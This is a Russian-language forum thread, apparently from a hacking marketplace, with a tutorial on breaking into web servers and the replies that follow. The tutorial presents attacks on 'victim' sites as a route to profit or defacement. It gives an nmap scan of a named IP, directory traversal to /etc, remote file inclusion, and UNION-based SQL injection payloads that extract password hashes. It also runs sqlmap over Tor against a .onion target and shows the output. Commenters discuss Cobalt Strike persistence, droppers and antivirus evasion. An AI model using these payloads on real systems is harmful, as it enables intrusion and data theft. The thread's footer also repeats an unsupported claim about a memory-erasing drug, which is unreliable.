Веб-сервер глазами хакера(навеяно одноимённой книгой Михаила Фленова).

El Jefe

Consejero
Проверенный сервис
Силовые акции
Сообщения
3.376
Реакции
8.461
Продажи
7
Кешбек
0.66$
Лазить по корпоративным сетям, оно конечно, дело пользительное, спору нет. Но главной приманкой, главным “сладким х.ем” кулхацкера, ясен пень, является веб-сервер, на коем и зиждется современная сеть. Не пытаясь в формате обзорной статьи объять необъятное, постараемся осветить основные связанные с этим моменты.

Вот, скажем, заинтересовал кулхацкера некий сервер – что будет делать наш проныра? Для начала попытается установить, какие службы и сервисы(демоны) на нём имеют место быть, а для этого используют сканерок, к примеру, линуксовый nmap. Ведь если в бетонной стене нет никаких окон и лазов, какой от неё толк?

Устанавливаем IP сервера путём пинга:

Код:
ping www.sweetsimpleton.com

(По русски – “Сладкий Лох”)

Получаем ответ, что-то вроде:

Код:
PING www.sweetsimpleton.com (208.91.197.27) 56(84) bytes of data.

64 bytes from 208.91.197.27: icmp_seq=1 ttl=236 time=199 ms

64 bytes from 208.91.197.27: icmp_seq=2 ttl=236 time=199 ms

64 bytes from 208.91.197.27: icmp_seq=3 ttl=236 time=190 ms

64 bytes from 208.91.197.27: icmp_seq=4 ttl=236 time=190 ms

64 bytes from 208.91.197.27: icmp_seq=5 ttl=236 time=196 ms

64 bytes from 208.91.197.27: icmp_seq=6 ttl=236 time=192 ms

--- www.sweetsimpleton.com ping statistics ---

6 packets transmitted, 6 received, 0% packet loss, time 14214ms

rtt min/avg/max/mdev = 189.682/194.267/199.064/3.892 ms

И теперь командуем:

Код:
sudo nmap -sS -p1-65535 -v 208.91.197.27

И получаем результат, что-то вроде:

Код:
Scanning 208.91.197.27 [65535 ports]

Discovered open port 53/tcp on 208.91.197.27

Discovered open port 80/tcp on 208.91.197.27

Discovered open port 443/tcp on 208.91.197.27

И так далее. То, что мы видим, это порты DNS, HTTP и SSL/HTTPS соответственно. Бывают ещё разные службы и сервисы, telnet, ssh, rlogin, finger и прочие, необходимые для работы в сети. И всё это кулхацкер может использовать в своих целях при наличии уязвимостей(вулнерабилитиз) в программном обеспечении(серверах, демонах) и ошибок в их настройке косорукими админами.

Как правило, в первую очередь атаке подвергается HTTP-сервер с целью стянуть/модифицировать лежащие на нём какие-либо базы данных и извлечь профит из них либо просто совершить дефейс, т.е разместить на сайте жертвы палестинский флаг, голую задницу или что-то в этом роде оскорбительное, как если бы крадун, обнеся дом, оставил кучу говна в гостиной:) Если сайт состоит из простых html-страниц, сделать ему что-то тяжело, но если на нём осуществляется PHP-сценарий и имеются некие данные, которые можно вводить в базу данных(SQL) методами GET и POST, это даёт шанс просунуть своё жало :)

Вкратце об этих методах. Как уже было сказано, методы эти используются протоколом http для отправки данных на сервер с целью сделать сайт более интерактивным и для взаимодействия с посетителем. При этом данные попадают в массивы $_GET и $_POST при работе сайта на языке PHP; переданный на сервер параметр с именем "parameter", будет доступен как $_GET['parameter'] или $_POST['parameter']. Запрос GET передает данные в URL в виде пар имя-значение, т.е. через ссылку, а запрос POST передает данные в теле запроса через форму запроса, имеющуюся в страничке.

Параметры, которые получают сценарии, очень часто являются потенциальным источником ошибки. Кулхацкер может сформировать определенным хитрым образом запрос и если сценарий неверно обрабатывает полученные параметры или просто не проверяет их на корректность, то злоумышленник может повысить свои привилегии, управлять базой данных сервера и даже выполнять в командной строке различные команды. К примеру, URL сайта “Сладкий Лох” имеет вид:



А мы хитрожопим и пишем в запросе:

=.

Сиречь указываем системную папку UNIX и файл “какой угодно”. И вдруг, откуда ни возьмись, на ширмачка видим содержимое директории /etc, поскольку наивный админ забыл в PHP-сценарии отфильтровать слэш и одиночную точку. А написав:



получаем список пользователей системы, указание установленной операционной системы и учётную запись админа. Кстати, имена параметров типа dir, file и тому подобные манят кулхацкера, как кота валерьянка, поэтому админам их рекомендуется избегать.

Можно также создать на своем Web-сервере злонамеренный файл именем hack к примеру

c расширением php, например, и передать этот файл в качестве параметра:



Теперь ваш сценарий выполнит содержимое файла , если файл в сценарии подключается с помощью функции include () или require().

Теперь остановимся на такой манипуляции с базой данных Сладкого Лоха, как SQL-инъекция. В чём её идея? На одном из форумов красноглазиков я нашёл такую забавную притчу-интерпретацию.

Отец семейства, простой работяга, отправляясь на работу, написал в записке домохозяйке-матушке, чтобы она выдала сыну Васе 100 рублей на покупки, что то вроде:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Поскольку малограмотный отец коряво написал записку и наивно оставил её на столе, её увидел брат Васи — пьющий лоботряс Петя. Не будь дурак, Петя дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Матушка, прочитав записку, решила, что Васе она давала деньги вчера, и дала 100 рублей бездельнику алкашу Пете. Вот простой пример SQL-инъекции из жизни: приписав свои слова и фальсифицировав аутентичную записку, написанную при этом плохим почерком, Петя выцыганил себе денежек на пузырь.

В соответствии с этим принципом, при проверке сайта жертвы на инжектируемость следует передавать во всех параметрах различный мусор, среди которого особую роль играет “магическая” одинарная кавычка, попросту знак ‘ и смотреть, что ответит сайт, например:



либо

’&product=9

Если при попытки зайти на такие страницы появляется ошибка, сайт уязвим к инъекциям и параметр инжектируемый, поскольку кавычку не отэкранировало! (Для экранирования символов админы используют в сценариях, например, функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем \ перед каждым специальным символом; также в SQL-выражениях используют функции mysql_escape_string($str); и mysql_real_escape_string($str);)

Также можно попробовать запросы наподобие



либо

&product=9%20and%201=1

Здесь %20 означает пробел по таблице ANSII

1=0 это означает FALSE естественно, а 1=1 TRUE, а такая проверка называется BOOLEAN BASED.

Тоже смотрим, покажет страницу или не покажет. Если при 1=0 не покажет, а при 1=1 покажет, то параметр инжектируем. Также наряду с AND можно использовать OR(логическое сложение).

Теперь о том, как извлечь пользу из этого. В зависимости от того, какая информация нам нужна, дописываем к запросу что-то вроде(+ тоже интерпретируется как пробел):

Код:
?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

или

Код:
%20union%20select%20mysql.user.password,USER(),VERSION(),4444%20from%20mysql.user/*

И получаем требуемую информацию из таблиц в виде

Код:
0 | table1:column1 || 0 | table1:column2 |

Оператор UNION объединяет запросы, SELECT служит для выбора информации из БД.

Инъекции бывают ERROR BASED, BOOLEAN BASED, TIME BASED, UNION QUERY BASED, STACKED QUERY BASED.

Самое главное – найти потенциальную инъекцию с помощью внедрённого в запрос “мусора”, а потом с помощью правильно составленного нового запроса вытащить информацию в виде таблицы из базы данных.

Автоматизировать эту работу позволяют разнообразные сканеры инъекций, одним из них является sqlmap, работающий к тому же в одном из режимов через ТОР.

Пример(командная строка Линукс):

Код:
sqlmap -u "http://*************************7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion/cgi?catalog=5&region_id=6" -data="catalog=5" --tor --check-tor --tor-port=9050 --tor-type=SOCKS5 --current-user --passwords --dbs --dbms=Oracle --tables -f --risk=3 –level=5

И программа начинает нудно дрючить сайт-жертву всеми возможными способами инъекций, в попытке прокнокать-прознать что-то путное. Додрючивать потом всё равно прийдётся руками, все эти сканеры хороши именно для разведки.

А на выходе мы видим нечто подобное, если будет инжектируемый параметр найден-таки, его подсветит изумрудно-зелёненьким!

Код:
___

 __H__

 ___ ___[(]_____ ___ ___ {1.4.4#stable}

|_ -| . [)] | .'| . |

|___|_ ["]_|_|_|__,| _|

 |_|V... |_| http://sqlmap.org




[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program




[*] starting @ 15:56:11 /2021-09-26/




[15:56:11] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided

[15:56:11] [INFO] setting Tor SOCKS proxy settings

[15:56:11] [INFO] checking Tor connection

[15:56:14] [INFO] Tor is properly being used

[15:56:15] [INFO] testing connection to the target URL

[15:56:18] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests

[15:56:18] [INFO] testing if the target URL content is stable

[15:56:19] [INFO] target URL content is stable

[15:56:19] [INFO] testing if POST parameter 'catalog' is dynamic

[15:56:19] [WARNING] POST parameter 'catalog' does not appear to be dynamic

[15:56:20] [WARNING] heuristic (basic) test shows that POST parameter 'catalog' might not be injectable

[15:56:21] [INFO] testing for SQL injection on POST parameter 'catalog'

[15:56:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[15:56:50] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'

[15:57:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'

[15:58:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'

[15:58:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'

[15:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'

[15:58:56] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'

[15:59:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'

[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'

[15:59:09] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'

[15:59:30] [INFO] testing 'Generic inline queries'

[15:59:31] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'

[15:59:54] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'

[16:00:49] [INFO] testing 'Oracle boolean-based blind - Parameter replace'

[16:00:50] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'

[16:00:50] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'

[16:00:51] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'

[16:00:51] [INFO] testing 'Oracle boolean-based blind - Stacked queries'

[16:01:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[16:01:33] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'

[16:01:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
 
Последнее редактирование:
Дело в том, что крупные структуры(банки там всякие, крупные корпорации) все делают пентесты, заказывая их другим крупным структурам, которые для пентестов пользуются как раз подобным софтом. И с помощью "Кобальт страйка" и других подобных программ там все уязвимости на серверах компании будут закрыты и хода дальше не будет. Понадобятся какие-то другие способы, опять же засылка троянских программ пользователям, что зачастую бывает куда проще, чем лобовой взлом серверов.
 
Согласен,но понимать как это работает тоже лишним не будет и для начинающего мамкиного хакера крупные корпы не являются целью.
 
У мамкиного хакера не хватит лавэ на дорогой проприетарный софт для взлома, он наверняка использует дешёвые бесплатные программы с открытым кодом. Иногда 15-летний кулхацкер оказывается куда резвей и пронырливей целого коллектива дядь с большими окладами жалованья, в галстуках и белых рубашках, а то и в погонах :)
 
Это проприетарная программа для пентестинга,
Да, и по странному совпадению она с метой и корой в топах инструментария хакгрупп.
для тех, кто любит графические интерфейсы
Ну как-то повелось, что обширную сеть проще разрабатывать, когда ты можешь всю ее окинуть взглядом, а не только лишь в списке хостов и доступов копаешься.
и не любит командную строку, работать ручками и думать головой,
Одно другого, к сожалению, не отменяет.
Например, в написании профилей для malleable c&c иногда приходится основательно так подумать головой
всяких государственных "хакеров" из фанни биаров и кози биаров
Не понял к чему кавычки. Хакают? Хакают. Не так серьезно, как это подается в СМИ, но результат (доступ к чужим сетям) достигнут. То, некоторые из них при этом ведут себя как слон в посудной лавке, так это плюс, все внимание на них.
Дело в том, что крупные структуры(банки там всякие, крупные корпорации) все делают пентесты, заказывая их другим крупным структурам, которые для пентестов пользуются как раз подобным софтом. И с помощью "Кобальт страйка" и других подобных программ там все уязвимости на серверах компании будут закрыты и хода дальше не будет.
Ну есть такая штука как зеродеи. Которых меньше не становится. Очень много взломов за прошлый год начинались именно с них.



Как мета это стандартизированный фреймворк для создания эксплоитов, проверки целей на уязвимость и эксплуатации узявимости, так и коба это стандартизированный способ закрепа и развития атаки. Тебе не надо создавать нового бота, продумывать протокол C&C, проверять его работу на разных архитектурах, ты запускаешь beacon и работаешь себе. Если еще учесть, что кодеры под блек отличаются от своих легальных коллег как дороговизной услуг, так и распиздяйством, экономия денег и, что важнее, времени просто колоссальная.

Так что новичку изучить работу с кобой и с метой я считаю полезно.
 
Не понял к чему кавычки. Хакают? Хакают.
ТС, видать, случайно задел чьё-то эго... Да пользуйся на здоровье любым софтом, хоть по цене роллс-ройса за дистрибутив, хозяин-барин. Кстати, beacon в качестве трояна "полезной нагрузки", как сейчас модно стало говорить, наверняка палится антивирусами, раз мы о нём знаем, значит и кто-то другой знает.
 
Ну мне просто немного забавно от автора, который пингом определяет IP-адрес хоста, читать снисходительное такое мнение о глобальных акторах и проф. инструментах.

Кавычки можете ставить как хотите, я не против.

наверняка палится антивирусами

А ведь ты прав. Ну все, после твоих слов кобой перестанут пользоваться.

Ну если серьезно, то конечно бикон с базовыми настройками палится. И естественно, что это обходится.
Есть кастомные лоадеры-дропперы, если речь о первичном доступе ака письмо с приветом, для долговременного закрепа можно АВ немного перенастроить. Сам бикон возможно тоже криптуют, я настолько глубоко в детали не погружался, у меня другая специализация.


раз мы о нём знаем, значит и кто-то другой знает.
Вот эту твою логику можно применить и к опенсорсуным тулзам, к сто раз разжеванным атакам, к 1-дей сплоитам с гитхаба. Все это знают, но похеков меньше почему-то не становится. Прямо сейчас вкатыши в это ваше хакерство старательно дрочат фортики из паблика. И некоторые вполне успешно.
 
который пингом определяет IP-адрес хоста
Да, для этого пинг(служба "эхо") и создан, а также для проверки наличия связи; название было навеяно флотскими гидроакустиками. А вы из чего там определяете, из методичек служебных на грифованных листах формата А4? :)
глобальных акторах
Это ты про себя что ли? Если такой специалист великий, напиши свою статью, а мы почитаем.
 
у меня другая специализация
Если не секрет, какая?
похеков меньше почему-то не становится. Прямо сейчас вкатыши в это ваше хакерство старательно дрочат фортики из паблика
" - Выстребаны обстряхнутся и дутой чернушенькой объятно дунут по маргазам."
" - На том и покалим сростень!"
 
Да, для этого пинг(служба "эхо") и создан
Нет, не для этого. Не для определения IP-адресов по именам.
а также для проверки наличия связи;
В современных условиях корреляция между успешным пингом и доступным сервисом уже не та, что раньше.
название было навеяно флотскими гидроакустиками.
Ух ты, круто, новые фактоиды из вики. Жалко, на практике пользы нет.
Это ты про себя что ли?
При чем тут я, ты выше брал в кавычки хакеров из ГРУ, а это по классификации кибербезопасников одна из APT.

Если тебе так интересно, про меня тоже в интернетах писали. Но "невсурьез и издаля", даже номера крутого не присвоили.

напиши свою статью, а мы почитаем.
Насчет статьи не уверен, тему надо придумать. То, чем занят по работе не хочется раскрывать, коллеги могут не так понять.

Если не против, твои статьи прокомментирую развернуто.

Если не секрет, какая?
Я специалист по срачам на форумах. Проходил профильные курсы СД-3, СД-5, СД-9 в КаИ. Совместные учебное-боевые задания с подсолнухами по троллингу в глубоком тылу противника. Короче, я вооружен и опасен.
На том и покалим сростень!
Я не понял, с одной стороны тут тема про хакерство, с другой, про фортики тут впервые слышат, хотя это громкое событие не более чем месячной давности. Ну ок.
 
Какой ты там специалист, только щёки надувать можешь, нахватался псевдоумных слов, "полезная нагрузка", "постэксплуатация", "закреп", "коба", "шмоба"... А сам на практике неспособен Hello World написать :) Здесь не вконтактике, такие глупые понты не проканают.
Нет, не для этого. Не для определения IP-адресов по именам.
Расскажи об этом своему начальнику, мож он с тобой и согласится. Боец невидимого фронта, коллеги его не поймут(скорее всего просто тролль, судя по нику).
 
Если не против, твои статьи прокомментирую развернуто.
Сомневаюсь, что ты в состоянии не только хорошим грамотным языком прокомментировать статьи ТСа, но даже и понять, что там вообще написано, хотя бы даже про квантовую запутанность. Тут надо извилины на голове какие никакие иметь, а не только рубец от головного убора. Нахамить да, можешь.

"На том и покалим сростень!"
Вот видишь, ты настолько ограничен, что даже не понял, о чём идёт речь.
 
ИМХО - отличная статья для понимания того, как это происходит в общем. Отлично демонстрирует, что новичкам изучать нужно еще гору всего.
Сообщение обновлено:

Сомневаюсь, что ты в состоянии не только хорошим грамотным языком прокомментировать статьи ТСа, но даже и понять, что там вообще написано, хотя бы даже про квантовую запутанность. Тут надо извилины на голове какие никакие иметь, а не только рубец от головного убора. Нахамить да, можешь.

"На том и покалим сростень!"

Вот видишь, ты настолько ограничен, что даже не понял, о чём идёт речь.
Не, просто каждый джун-пентестер обязан набежать на форум для новичков и кидаться своими чуть более обширными знаниями, чем у ТС-ов.
Да и в вакансиях обязательное требование, помимо стрессоустойчивости, душнильство.
 
Последнее редактирование:
Как это все увлекательно и прибыльно одновременно
 
Интересно и познавательно! @El Jefe знает толк)

Решил проверить на одном сайте!
Не смог установить IP сервера путём пинга
Пишет так:
ping: sendmsg: Операция не позволена
^C
---*******.ru ping statistics ---
33 packets transmitted, 0 received, +33 errors, 100% packet loss, time 755ms
 
Операция не позволена
Хитрый сисадмин отключил демон эхо, обычно стоит на 7 порту. Есть и другие способы узнать IP по URL, например в момент посещения сайта включить сниффер и посмотреть заголовки своих пакетов TCP/IP, да просто посмотреть свою сетевую статистику,
Код:
netstat -a
netstat -an
 
Тема интересная, да иногда проще и быстрее зайти с бок чем переть на пролом, многие используют собственные наработки, софт и скрипты для хакинга. Спасибо автору.
 
Согласен,но понимать как это работает тоже лишним не будет и для начинающего мамкиного хакера крупные корпы не являются целью.
Соглассен, мне как начинающему мамкиному хакеру понрав))
 

Похожие темы

Приветствуем, братья по клавиатуре. Сегодня разберем священную троицу веб-уязвимостей, которые кормят половину даркнета. Не теория — только выжимка тактик, которые работают прямо сейчас. 1. SQL Injection: ваша база — наша база Атака: Вбиваем в форму логина классику: ' OR 1=1--. Сервер глотает...
Ответы
5
Просмотры
  • Закрыта
Australia has and uses regularly a drug that prevents the formation of memories without affecting other mental facilities, this allows them to interrogate someone without them remembering it provided they’re sedated after interrogation, basically as long as the person falls asleep and wakes up...
Ответы
0
Просмотры
Назад
Сверху Снизу